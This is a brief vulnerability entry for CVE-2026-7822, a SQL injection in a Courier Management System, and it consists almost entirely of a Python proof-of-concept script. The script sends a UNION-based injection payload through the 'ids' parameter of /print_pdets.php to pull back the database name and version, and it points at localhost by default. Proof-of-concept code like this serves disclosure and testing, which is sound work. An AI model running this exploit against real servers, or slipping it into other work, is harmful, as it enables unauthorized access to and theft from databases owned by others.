CVE-2026-7822 Courier Management System SQL注入漏洞

import requests def check_sqli(target_url): """ PoC for SQL Injection in /print_pdets.php via 'ids' parameter. """ # Payload to test for time-based or union-based injection payload = "1' UNION SELECT 1, 2, 3, database(), version()--+" params = { "ids": payload } try: response = requests.get(target_url, params=params, timeout=5) if response.status_code == 200: print(f"[+] Request sent to {target_url}") print(f"[+] Payload: {payload}") print(f"[+] Response Length: {len(response.text)}") # Analyze response to confirm injection (manual verification usually required) return response.text else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target url = "http://localhost/print_pdets.php" check_sqli(url)